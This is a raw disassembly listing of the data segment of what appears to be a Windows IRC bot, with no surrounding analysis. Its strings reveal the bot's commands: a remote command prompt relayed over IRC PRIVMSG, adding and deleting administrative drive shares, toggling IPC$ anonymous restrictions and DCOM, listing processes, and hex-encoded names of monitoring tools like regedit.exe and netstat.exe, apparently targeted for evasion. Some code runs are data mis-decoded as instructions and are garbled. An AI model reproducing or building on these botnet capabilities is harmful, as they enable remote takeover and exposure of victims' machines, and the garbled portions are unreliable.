aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_419636+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_419636:loc_4196E1o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419636:loc_4196DAo
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_419636:loc_4196D3o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419636:loc_4196C9o
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419636+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419636:loc_4196A3o
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419636:loc_419699o
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419636:loc_41968Fo
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_419636:loc_419685o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419636:loc_41967Bo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419636+3Bo
align 4
dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h, 234032Dh, 274656Eh, 6D202D03h, 61737365h, 73206567h
dd 20746E65h, 63637573h, 66737365h, 796C6C75h, 2 dup(0)
dd 7530h, 0
off_43C358 dd offset dword_43C4F8 ; DATA XREF: seg000:loc_419959r
dd offset dword_43C4E8
dd offset dword_43C4DC
; ---------------------------------------------------------------------------
rol ah, 1
inc ebx
add ah, al
les eax, [ebx+0]
mov eax, 0A80043C4h
les eax, [ebx+0]
cwde
les eax, [ebx+0]
add ah, 43h
add [esp+eax*8+43h], ch
add [eax-3Ch], ah
inc ebx
add [esp+eax*8+43h], dl
add [eax-3Ch], cl
inc ebx
add [esp+eax*8], bh
inc ebx
add [eax], dh
les eax, [ebx+0]
and al, 0C4h
inc ebx
add [esp+eax*8], dl
inc ebx
add [eax], cl
les eax, [ebx+0]
cld
retn
; ---------------------------------------------------------------------------
inc ebx
add al, dh
retn
; ---------------------------------------------------------------------------
inc ebx
add ah, ah
retn
; ---------------------------------------------------------------------------
inc ebx
add ah, dl
retn
; ---------------------------------------------------------------------------
inc ebx
add al, cl
retn
; ---------------------------------------------------------------------------
dw 43h
dd offset dword_43C3B8
dword_43C3B8 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: seg002:0043C3B4o
dd 6E757269h, 78652E34h, 65h, 75643364h, 74616470h, 78652E65h
dd 65h, 65746172h, 6578652Eh, 0
dd 74617373h, 78652E65h, 65h, 736E6977h, 652E7379h, 6578h
dd 756E6977h, 652E6470h, 6578h, 4D737953h, 50586E6Fh, 6578652Eh
dd 0
dd 61656262h, 2E656C67h, 657865h, 696E6550h, 2E323373h
dd 657865h, 6B656574h, 2E736469h, 657865h, 4C42534Dh, 2E545341h
dd 657865h, 7663736Dh, 2E323362h, 657865h, 69737973h, 2E6F666Eh
dd 657865h, 646E6150h, 45564161h, 6E69676Eh, 78652E65h
dd 65h, 636E6977h, 32336766h, 6578652Eh, 6B736174h, 2E6E6F6Dh
dd 657865h, 656E6F7Ah, 72616C61h, 78652E6Dh, 65h, 6176616Eh
dd 32337770h, 6578652Eh, 0
dd 7776616Eh, 652E3233h, 6578h, 7270617Ah, 78652E6Fh, 65h
dd 6C62736Dh, 2E747361h, 657865h
dword_43C4DC dd 7374656Eh, 2E746174h, 657865h ; DATA XREF: seg002:0043C360o
dword_43C4E8 dd 6F63736Dh, 6769666Eh, 6578652Eh, 0 ; DATA XREF: seg002:0043C35Co
dword_43C4F8 dd 65676572h, 2E746964h, 657865h ; DATA XREF: seg002:off_43C358o
dword_43C504 dd 20732520h, 29642528h, 0 ; DATA XREF: seg000:00419A14o
unk_43C510 db 2Dh ; - ; DATA XREF: sub_419AB6:loc_419B43o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_43C534 db 2Dh ; - ; DATA XREF: sub_419AB6+86o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_43C558 db 2Dh ; - ; DATA XREF: sub_419AB6+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: seg000:00419C86o
db 2Dh ; -
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
db 2Dh ; -
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
dword_43C668 dd 1D4C0h ; DATA XREF: seg000:0041A696r
off_43C66C dd offset dword_43C6A4 ; DATA XREF: sub_41A044:loc_41A1F9r
; sub_41A044+1C3r ...
dword_43C670 dd 0 ; DATA XREF: sub_41A36A:loc_41A4EBr
dd offset dword_43C69C
dd 0
dd offset dword_43C698
dd offset dword_43C694
dd offset dword_43C690
dd offset dword_43C68C
dword_43C68C dd 5C3A44h ; DATA XREF: seg002:0043C688o
dword_43C690 dd 2444h ; DATA XREF: seg002:0043C684o
dword_43C694 dd 5C3A43h ; DATA XREF: seg002:0043C680o
dword_43C698 dd 2443h ; DATA XREF: seg002:0043C67Co
dword_43C69C dd 494D4441h, 244Eh ; DATA XREF: seg002:0043C674o
dword_43C6A4 dd 24435049h, 0 ; DATA XREF: seg002:off_43C66Co
dword_43C6AC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+2E7o
; sub_41A36A+2DDo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43C6DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+2D1o
aNetworkSharesD db '- Network shares deleted.',0
align 4
dword_43C704 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044:loc_41A2AEo
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 10h
dword_43C730 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+263o
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
dword_43C754 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044:loc_41A21Eo
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 10h
dword_43C780 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+1D3o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
dword_43C7A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044:loc_41A176o
; sub_41A36A:loc_41A498o
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43C7D4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044:loc_41A16Fo
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_43C810 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044:loc_41A157o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
dword_43C844 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+10Co
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 10h
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A044+EDo
; sub_41A36A+EDo
align 4
dword_43C894 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+91o
; sub_41A36A+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_43C8C4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_41A044:loc_41A0B7o
dd 62617369h, 2E64656Ch, 0
dword_43C8E4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A044+6Co
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A044+54o
; sub_41A36A+54o
align 4
dword_43C914 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A+2C5o
aNetworkSharesA db '- Network shares added.',0
aC_0 db '%c:\',0 ; DATA XREF: sub_41A36A+22Fo
align 10h
aC_1 db '%c$',0 ; DATA XREF: sub_41A36A+21Eo
dword_43C944 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A:loc_41A517o
; sub_41A36A:loc_41A5E2o
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43C96C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A+1A6o
; sub_41A36A+271o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43C98C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A:loc_41A491o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_43C9C8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A:loc_41A479o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 10h
dword_43CA00 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A+108o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 10h
dword_43CA40 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A36A:loc_41A3DDo
dd 6C62616Eh, 2E6465h
dword_43CA5C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A36A+6Co
aEnableDcomFail db '- Enable DCOM failed.',0
align 10h
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A6BE+DEo
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dword_43CAB8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41A89B+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A89B+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A89B+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A89B+B6o
align 4
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A89B+AFo
align 4
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A89B+A8o
align 10h
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A89B+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A89B+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A89B+93o
align 4
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A89B+8Co
align 4
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A89B+85o
align 4
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A89B+7Eo
align 4
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A89B+77o
align 4
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A89B+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A89B+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A89B+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A89B+5Bo
align 4
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A89B+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A89B+4Do
align 4
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A89B+46o
align 4
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A89B+3Fo
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A89B+38o
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A89B+31o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A89B+2Ao
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A89B+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A89B+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A89B+15o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41AA78+39o
dword_43CCD0 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AC18+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_43CDAC dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AC18+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AC18:loc_41AD7Co
align 10h
aSS_2 db '%s (%s)',0 ; DATA XREF: sub_41AC18+EBo
dword_43CDD8 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41AECC+ABo
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43CE1C dd offset loc_412F49+5 ; DATA XREF: sub_41AECC:loc_41AF40o
off_43CE20 dd offset dword_4E414C ; DATA XREF: sub_41AECC:loc_41AF39o
dword_43CE24 dd 6C616944h, 70752Dh ; DATA XREF: sub_41AECC+5Eo
dword_43CE2C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41AECC+48o
unk_43CE3C db 2Dh ; - ; DATA XREF: sub_41AF92:loc_41B14Fo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConn_0 db ' Failed to connect to HTTP server.',0
align 4
unk_43CE6C db 2Dh ; - ; DATA XREF: sub_41AF92:loc_41B148o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43CE98 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41AF92+1A6o
dd 4C525520h, 2Eh
unk_43CEB4 db 2Dh ; - ; DATA XREF: sub_41AF92:loc_41B12Bo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 10h
dword_43CEF0 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41AF92+192o
dd 64657469h, 2Eh
dword_43CF0C dd 2A2F2Ah ; DATA XREF: sub_41AF92+3Bo
dword_43CF10 dd 3EDCD02Ch ; DATA XREF: sub_41BAC8+4w sub_41BAD2r ...
align 10h
dword_43CF20 dd 173Fh ; DATA XREF: sub_41C869+Dr
dd 9875h, 9873h
off_43CF2C dd offset sub_41C938 ; DATA XREF: sub_41B974r
dd offset nullsub_2
dd offset nullsub_2
dword_43CF38 dd 1B3Fh ; DATA XREF: sub_41C9AF+Dr
dword_43CF3C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CE31+2o
; sub_41CE3A+2o
off_43CF50 dd offset sub_41B9B2 ; DATA XREF: sub_41DC49+1Cr
dword_43CF54 dd 2 ; DATA XREF: sub_423894+Er
; sub_4238CD+46r ...
dd 10h, 0
off_43CF60 dd offset off_43CF60 ; DATA XREF: sub_41EB96+Do
; sub_41EB96+69o ...
off_43CF64 dd offset off_43CF60 ; DATA XREF: sub_41EB96:loc_41EC16r
; sub_41EB96+89w ...
dd offset dword_43CF78
dd offset dword_43CF78
dword_43CF70 dd 0FFFFFFFFh ; DATA XREF: sub_41EB96r
; sub_41ECDA:loc_41ED27w
dd 0FFFFFFFFh
dword_43CF78 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: seg002:0043CF68o
; seg002:0043CF6Co
off_43EF80 dd offset off_43CF60 ; DATA XREF: sub_41ECDA+15r
; sub_41ECDA+20w ...
dword_43EF84 dd 1E0h ; DATA XREF: sub_41B3F2+185r
; sub_41B703:loc_41B73Fr ...
off_43EF88 dd offset word_43EF92 ; DATA XREF: sub_41B8DE+23r
; sub_41B8DE:loc_41B93Fr ...
off_43EF8C dd offset word_43EF92 ; DATA XREF: sub_426E83+18r
db 2 dup(0)
word_43EF92 dw 20h ; DATA XREF: sub_4250A0+18r
; seg002:off_43EF88o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43F194 dd 1 ; DATA XREF: sub_41B8DE:loc_41B8E6r
; sub_41B8DE:loc_41B92Ar ...
byte_43F198 db 2Eh ; DATA XREF: sub_420730:loc_420A24r
; sub_420730+311r ...
align 4
dd 1
off_43F1A0 dd offset aNull_0 ; DATA XREF: sub_41F8BF:loc_41FC23r
; sub_41F8BF+457r
; "(null)"
off_43F1A4 dd offset aNull ; DATA XREF: sub_41F8BF+259r
; "(null)"
byte_43F1A8 db 1 ; DATA XREF: sub_4200C9+E1r
db 2, 4, 8
align 10h
dword_43F1B0 dd 3A4h ; DATA XREF: sub_4200C9+2Fo
dword_43F1B4 dd 82798260h, 21h, 0 ; DATA XREF: sub_4200C9+11Dr
dword_43F1C0 dd 0DFA6h ; DATA XREF: sub_4200C9+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43F2A0 dd 1 ; DATA XREF: sub_4200C9+3Co
; sub_4205FF+Co
dword_43F2A4 dd 16h ; DATA XREF: sub_4205FF:loc_420634r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43F408 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4205FF+19o
; sub_420730:loc_420C97o
dword_43F410 dd 5Dh, 0 ; DATA XREF: sub_420730:loc_420B87o
dword_43F418 dd 14h ; DATA XREF: sub_421844+2o
off_43F41C dd offset aExp ; DATA XREF: sub_421844:loc_421861r
; "exp"
dd 1Dh, 428878h, 1Ah, 42D938h, 1Bh, 428870h, 1Fh, 428868h
dd 13h, 428860h, 21h, 428858h, 0Eh, 428850h, 0Dh, 428848h
dd 0Fh, 428840h, 10h, 428838h, 5, 428830h, 1Eh, 42882Ch
dd 12h, 428828h, 20h, 428824h, 0Ch, 42881Ch, 0Bh, 428814h
dd 15h, 42880Ch, 1Ch, 428804h, 19h, 4287FCh, 11h, 4287F4h
dd 18h, 4287ECh, 16h, 4287E4h, 17h, 4287DCh, 22h, 4287D8h
dd 23h, 4287D4h, 24h, 4287D0h
dbl_43F4F0 dq 1.797693134862316e308 ; DATA XREF: sub_42157F+B7r
; sub_42157F:loc_421666r ...
dd 0
dd 0FFF80000h
dbl_43F500 dq 1.797693134862316e308 ; DATA XREF: sub_42157F+92r
; sub_42157F:loc_42163Er ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43F518 dt 2.3562723457267347066e313 ; DATA XREF: sub_421A2C+Dr
; sub_421A2C+1Fr
align 4
tbyte_43F524 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421A2C+31r
align 10h
off_43F530 dd offset sub_421EC0 ; DATA XREF: sub_41C950+Fw
; sub_41F8BF+3AAr
off_43F534 dd offset sub_421B55 ; DATA XREF: sub_41C950+5w
; sub_41F8BF+3E2r
off_43F538 dd offset sub_421BBB ; DATA XREF: sub_41C950+14w
; sub_420730+430r
off_43F53C dd offset sub_421AFB ; DATA XREF: sub_41C950+1Ew
; sub_41F8BF+3CBr
off_43F540 dd offset sub_421BA3 ; DATA XREF: sub_41C950+28w
off_43F544 dd offset sub_421EC0 ; DATA XREF: sub_41C950+32w
dd offset sub_42495C
align 10h
dd offset sub_42277C
off_43F554 dd offset sub_42277C ; DATA XREF: sub_4227D2+29r
off_43F558 dd offset dword_4DE300 ; DATA XREF: sub_42294B+55o
dd 0
dd offset dword_4DE300
dd 101h
dword_43F568 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42294B+72o
dd 1000h, 0
dword_43F578 dd 3 dup(0) ; DATA XREF: sub_41D3DC+2o
; sub_41F7AA+50o ...
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43F598 dd 3 dup(0) ; DATA XREF: sub_41F7AA+58o
; sub_420666:loc_420684o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43F5C8 dd 84h dup(0) ; DATA XREF: sub_42294B+9Bo
dword_43F7D8 dd 0C0000005h ; DATA XREF: sub_42294B+69o
; sub_423133+Ar ...
dword_43F7DC dd 0Bh ; DATA XREF: sub_425CD2+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43F850 dd 3 ; DATA XREF: sub_422FF2+58r
; sub_425BA5+C8r
dword_43F854 dd 7 ; DATA XREF: sub_422FF2+5Er
; sub_425BA5+CDr
dword_43F858 dd 0Ah ; DATA XREF: sub_423133+4r
; sub_425CD2+4r
dword_43F85C dd 8Ch ; DATA XREF: sub_422FF2+82r
; sub_422FF2+8Fw ...
dword_43F860 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F263:loc_41F2E4o
; sub_41F7AA:loc_41F867o
dword_43F868 dd 2 ; DATA XREF: sub_4238CD+Eo
; sub_4238CD+28r
off_43F86C dd offset aR6002FloatingP ; DATA XREF: sub_4238CD+FCr
; sub_4238CD+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 428B94h, 9, 428B68h, 0Ah, 428B44h, 10h, 428B18h
dd 11h, 428AE8h, 12h, 428AC4h, 13h, 428A98h, 18h, 428A60h
dd 19h, 428A38h, 1Ah, 428A00h, 1Bh, 4289C8h, 1Ch, 4289A0h
dd 78h, 428990h, 79h, 428980h, 7Ah, 428970h, 0FCh, 4364CCh
dd 0FFh, 428960h
dword_43F8F8 dd 2 dup(0) ; DATA XREF: sub_4238CD+1Bo
dword_43F900 dd 2694h ; DATA XREF: sub_4211E1+3r
; sub_421234+46r
align 8
dword_43F908 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42473Co
dword_43F920 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424752o
dword_43F938 dd 7080h ; DATA XREF: seg000:004228FFr
; sub_424A3C+5Ew ...
dword_43F93C dd 1 ; DATA XREF: seg000:00422921r
; sub_424A3C+8Bw ...
dword_43F940 dd 0FFFFF1F0h ; DATA XREF: seg000:loc_42293Br
; sub_424A3C+94w ...
dword_43F944 dd 545350h, 0Fh dup(0) ; DATA XREF: seg002:off_43F9C4o
dword_43F984 dd 544450h, 0Fh dup(0) ; DATA XREF: seg002:off_43F9C8o
off_43F9C4 dd offset dword_43F944 ; DATA XREF: sub_424A3C+BAr
; sub_424A3C+D9r ...
off_43F9C8 dd offset dword_43F984 ; DATA XREF: sub_424A3C+F4r
; sub_424A3C+11Br ...
align 10h
dword_43F9D0 dd 0FFFFFFFFh ; DATA XREF: sub_424A3C+1Dw
; sub_424C9A+1Er ...
dword_43F9D4 dd 0 ; DATA XREF: sub_424C9A:loc_424DCEr
; sub_424E46+BFw
dword_43F9D8 dd 0 ; DATA XREF: sub_424C9A+192r
; sub_424E46+E0w
align 10h
dword_43F9E0 dd 0FFFFFFFFh ; DATA XREF: sub_424A3C+17w
; sub_424C9A+26r ...
dword_43F9E4 dd 0 ; DATA XREF: sub_424C9A+13Ar
; sub_424E46+EAw ...
dword_43F9E8 dd 0 ; DATA XREF: sub_424C9A+1A1r
; sub_424E46+23r ...
dword_43F9EC dd 0FFFFFFFFh ; DATA XREF: sub_424E46+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43FA1C dd 16Dh ; DATA XREF: seg000:004228B3r
; sub_424E46+2Er ...
dword_43FA20 dd 0FFFFFFFFh ; DATA XREF: sub_424E46:loc_424ED2r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43FA58 dd 2 dup(0) ; DATA XREF: sub_42602A+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43FBB8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_42602A+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
